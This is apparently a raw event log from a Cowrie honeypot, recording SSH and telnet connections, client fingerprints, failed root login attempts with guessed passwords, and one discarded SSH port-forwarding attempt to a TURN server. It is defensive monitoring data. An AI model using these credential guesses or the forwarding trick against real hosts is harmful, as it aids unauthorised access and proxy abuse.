{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:24.415243Z","src_ip":"45.148.10.121","session":"2b6a33cb9788","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:24.418449Z","src_ip":"45.148.10.121","session":"2b6a33cb9788","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:24.507257Z","src_ip":"45.148.10.121","session":"2b6a33cb9788","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57216,"dst_ip":"10.17.0.5","dst_port":23,"session":"fed0955517d1","protocol":"telnet","message":"New connection: 192.119.13.58:57216 (10.17.0.5:23) [session: fed0955517d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:27.798592Z"}
{"eventid":"cowrie.session.closed","duration":48.82188034057617,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:32.077904Z","src_ip":"192.119.13.58","session":"68ac94a2fc5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54140,"dst_ip":"10.17.0.5","dst_port":23,"session":"64cc602e0b3d","protocol":"telnet","message":"New connection: 192.119.13.58:54140 (10.17.0.5:23) [session: 64cc602e0b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:34.761321Z"}
{"eventid":"cowrie.session.closed","duration":46.030187368392944,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:34.819568Z","src_ip":"192.119.13.58","session":"6e31d8957cea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.347832679748535,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:36.225722Z","src_ip":"192.119.13.58","session":"1bcd98d8ab3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40574,"dst_ip":"10.17.0.5","dst_port":23,"session":"402e8d860aae","protocol":"telnet","message":"New connection: 192.119.13.58:40574 (10.17.0.5:23) [session: 402e8d860aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:38.584279Z"}
{"eventid":"cowrie.session.closed","duration":42.6119065284729,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:42.266216Z","src_ip":"192.119.13.58","session":"5d9588d9ee15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58346,"dst_ip":"10.17.0.5","dst_port":23,"session":"53e29a5d489e","protocol":"telnet","message":"New connection: 192.119.13.58:58346 (10.17.0.5:23) [session: 53e29a5d489e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:43.311643Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":55302,"dst_ip":"159.203.135.109","dst_port":22,"session":"c04b0cf42121","protocol":"ssh","message":"New connection: 89.108.118.91:55302 (159.203.135.109:22) [session: c04b0cf42121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:52.232241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:52.237370Z","src_ip":"89.108.118.91","session":"c04b0cf42121","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:52.370655Z","src_ip":"89.108.118.91","session":"c04b0cf42121","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dbnfkz","message":"login attempt [root/dbnfkz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:52.795808Z","src_ip":"89.108.118.91","session":"c04b0cf42121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:53.932342Z","src_ip":"89.108.118.91","session":"c04b0cf42121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.526676177978516,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:56.848674Z","src_ip":"192.119.13.58","session":"bfb567c3d449","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60268,"dst_ip":"10.17.0.5","dst_port":23,"session":"73993877cbde","protocol":"telnet","message":"New connection: 192.119.13.58:60268 (10.17.0.5:23) [session: 73993877cbde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:58.148555Z"}
{"eventid":"cowrie.session.closed","duration":52.39781975746155,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:58.511245Z","src_ip":"192.119.13.58","session":"6fb7aeaf26cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.711188077926636,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:48:59.148378Z","src_ip":"192.119.13.58","session":"19505283de38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39346,"dst_ip":"10.17.0.5","dst_port":23,"session":"10a5f3320a23","protocol":"telnet","message":"New connection: 192.119.13.58:39346 (10.17.0.5:23) [session: 10a5f3320a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:49:07.055408Z"}
{"eventid":"cowrie.session.closed","duration":42.55250263214111,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:49:10.351008Z","src_ip":"192.119.13.58","session":"fed0955517d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.143760681152344,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:49:10.394426Z","src_ip":"192.119.13.58","session":"1d6755003624","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.82944989204407,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:49:15.413584Z","src_ip":"192.119.13.58","session":"402e8d860aae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46936,"dst_ip":"10.17.0.5","dst_port":23,"session":"57bfc757568c","protocol":"telnet","message":"New connection: 192.119.13.58:46936 (10.17.0.5:23) [session: 57bfc757568c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:49:15.776586Z"}
{"eventid":"cowrie.session.closed","duration":36.07370448112488,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:49:19.385220Z","src_ip":"192.119.13.58","session":"53e29a5d489e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41468,"dst_ip":"10.17.0.5","dst_port":23,"session":"2631b32cabd5","protocol":"telnet","message":"New connection: 192.119.13.58:41468 (10.17.0.5:23) [session: 2631b32cabd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:49:21.295419Z"}
{"eventid":"cowrie.session.closed","duration":48.612184047698975,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:49:23.373375Z","src_ip":"192.119.13.58","session":"64cc602e0b3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.72528028488159,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:49:35.873740Z","src_ip":"192.119.13.58","session":"73993877cbde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32820,"dst_ip":"10.17.0.5","dst_port":23,"session":"f853d022e35d","protocol":"telnet","message":"New connection: 192.119.13.58:32820 (10.17.0.5:23) [session: f853d022e35d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:49:39.448246Z"}
{"eventid":"cowrie.session.closed","duration":0.009300947189331055,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:49:39.457346Z","src_ip":"192.119.13.58","session":"f853d022e35d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39562,"dst_ip":"10.17.0.5","dst_port":23,"session":"459a709054ea","protocol":"telnet","message":"New connection: 192.119.13.58:39562 (10.17.0.5:23) [session: 459a709054ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:49:40.895890Z"}
{"eventid":"cowrie.session.closed","duration":36.47299647331238,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:49:43.528273Z","src_ip":"192.119.13.58","session":"10a5f3320a23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49022,"dst_ip":"10.17.0.5","dst_port":23,"session":"63ec7833aeb1","protocol":"telnet","message":"New connection: 192.119.13.58:49022 (10.17.0.5:23) [session: 63ec7833aeb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:49:49.838611Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60886,"dst_ip":"10.17.0.5","dst_port":23,"session":"efa320f77121","protocol":"telnet","message":"New connection: 192.119.13.58:60886 (10.17.0.5:23) [session: efa320f77121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:49:52.744067Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36914,"dst_ip":"10.17.0.5","dst_port":23,"session":"34146bdaa96b","protocol":"telnet","message":"New connection: 192.119.13.58:36914 (10.17.0.5:23) [session: 34146bdaa96b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:49:53.731833Z"}
{"eventid":"cowrie.session.closed","duration":39.33794975280762,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:49:55.114436Z","src_ip":"192.119.13.58","session":"57bfc757568c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47574,"dst_ip":"10.17.0.5","dst_port":23,"session":"6000c284f952","protocol":"telnet","message":"New connection: 192.119.13.58:47574 (10.17.0.5:23) [session: 6000c284f952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:49:56.461486Z"}
{"eventid":"cowrie.session.closed","duration":43.18860864639282,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:50:04.483932Z","src_ip":"192.119.13.58","session":"2631b32cabd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50020,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd7c74e1e9af","protocol":"telnet","message":"New connection: 192.119.13.58:50020 (10.17.0.5:23) [session: dd7c74e1e9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:50:11.014484Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37850,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b83ab5d1a1d","protocol":"telnet","message":"New connection: 192.119.13.58:37850 (10.17.0.5:23) [session: 7b83ab5d1a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:50:14.818800Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52128,"dst_ip":"10.17.0.5","dst_port":23,"session":"87d383b81e69","protocol":"telnet","message":"New connection: 192.119.13.58:52128 (10.17.0.5:23) [session: 87d383b81e69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:50:24.796625Z"}
{"eventid":"cowrie.session.closed","duration":37.008798360824585,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:50:26.847286Z","src_ip":"192.119.13.58","session":"63ec7833aeb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.284343957901,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:50:28.180199Z","src_ip":"192.119.13.58","session":"459a709054ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37898,"dst_ip":"10.17.0.5","dst_port":23,"session":"b830957b098e","protocol":"telnet","message":"New connection: 192.119.13.58:37898 (10.17.0.5:23) [session: b830957b098e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:50:29.235196Z"}
{"eventid":"cowrie.session.closed","duration":37.44325828552246,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:50:30.187168Z","src_ip":"192.119.13.58","session":"efa320f77121","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43626,"dst_ip":"10.17.0.5","dst_port":23,"session":"267ffd261b39","protocol":"telnet","message":"New connection: 192.119.13.58:43626 (10.17.0.5:23) [session: 267ffd261b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:50:36.189206Z"}
{"eventid":"cowrie.session.closed","duration":40.98083782196045,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:50:37.442207Z","src_ip":"192.119.13.58","session":"6000c284f952","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.6125910282135,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:50:38.344330Z","src_ip":"192.119.13.58","session":"34146bdaa96b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":33852,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5a40ccc77b3","protocol":"ssh","message":"New connection: 176.32.39.21:33852 (10.17.0.5:22) [session: a5a40ccc77b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:50:45.672248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:50:45.686126Z","src_ip":"176.32.39.21","session":"a5a40ccc77b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:50:45.805293Z","src_ip":"176.32.39.21","session":"a5a40ccc77b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aleks","message":"login attempt [root/aleks] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:50:46.165688Z","src_ip":"176.32.39.21","session":"a5a40ccc77b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:50:47.287039Z","src_ip":"176.32.39.21","session":"a5a40ccc77b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.31907820701599,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:50:50.137780Z","src_ip":"192.119.13.58","session":"7b83ab5d1a1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.34465456008911,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:50:59.359002Z","src_ip":"192.119.13.58","session":"dd7c74e1e9af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.77868700027466,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:51:08.575202Z","src_ip":"192.119.13.58","session":"87d383b81e69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.94669795036316,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:51:09.135756Z","src_ip":"192.119.13.58","session":"267ffd261b39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.66271376609802,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:51:23.897764Z","src_ip":"192.119.13.58","session":"b830957b098e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35302,"dst_ip":"10.17.0.5","dst_port":23,"session":"1920121db3c1","protocol":"telnet","message":"New connection: 192.119.13.58:35302 (10.17.0.5:23) [session: 1920121db3c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:51:54.760425Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48812,"dst_ip":"10.17.0.5","dst_port":23,"session":"452017512b74","protocol":"telnet","message":"New connection: 192.119.13.58:48812 (10.17.0.5:23) [session: 452017512b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:51:58.034208Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51644,"dst_ip":"10.17.0.5","dst_port":23,"session":"790ebf7f1644","protocol":"telnet","message":"New connection: 192.119.13.58:51644 (10.17.0.5:23) [session: 790ebf7f1644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:52:12.238075Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39136,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b805ac51746","protocol":"telnet","message":"New connection: 192.119.13.58:39136 (10.17.0.5:23) [session: 6b805ac51746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:52:22.780357Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":44970,"dst_ip":"159.203.135.109","dst_port":22,"session":"b77b485299d7","protocol":"ssh","message":"New connection: 103.75.182.198:44970 (159.203.135.109:22) [session: b77b485299d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:52:23.417779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:52:23.422530Z","src_ip":"103.75.182.198","session":"b77b485299d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:52:23.677408Z","src_ip":"103.75.182.198","session":"b77b485299d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"89180710477s","message":"login attempt [root/89180710477s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:52:24.450287Z","src_ip":"103.75.182.198","session":"b77b485299d7","protocol":"ssh"}
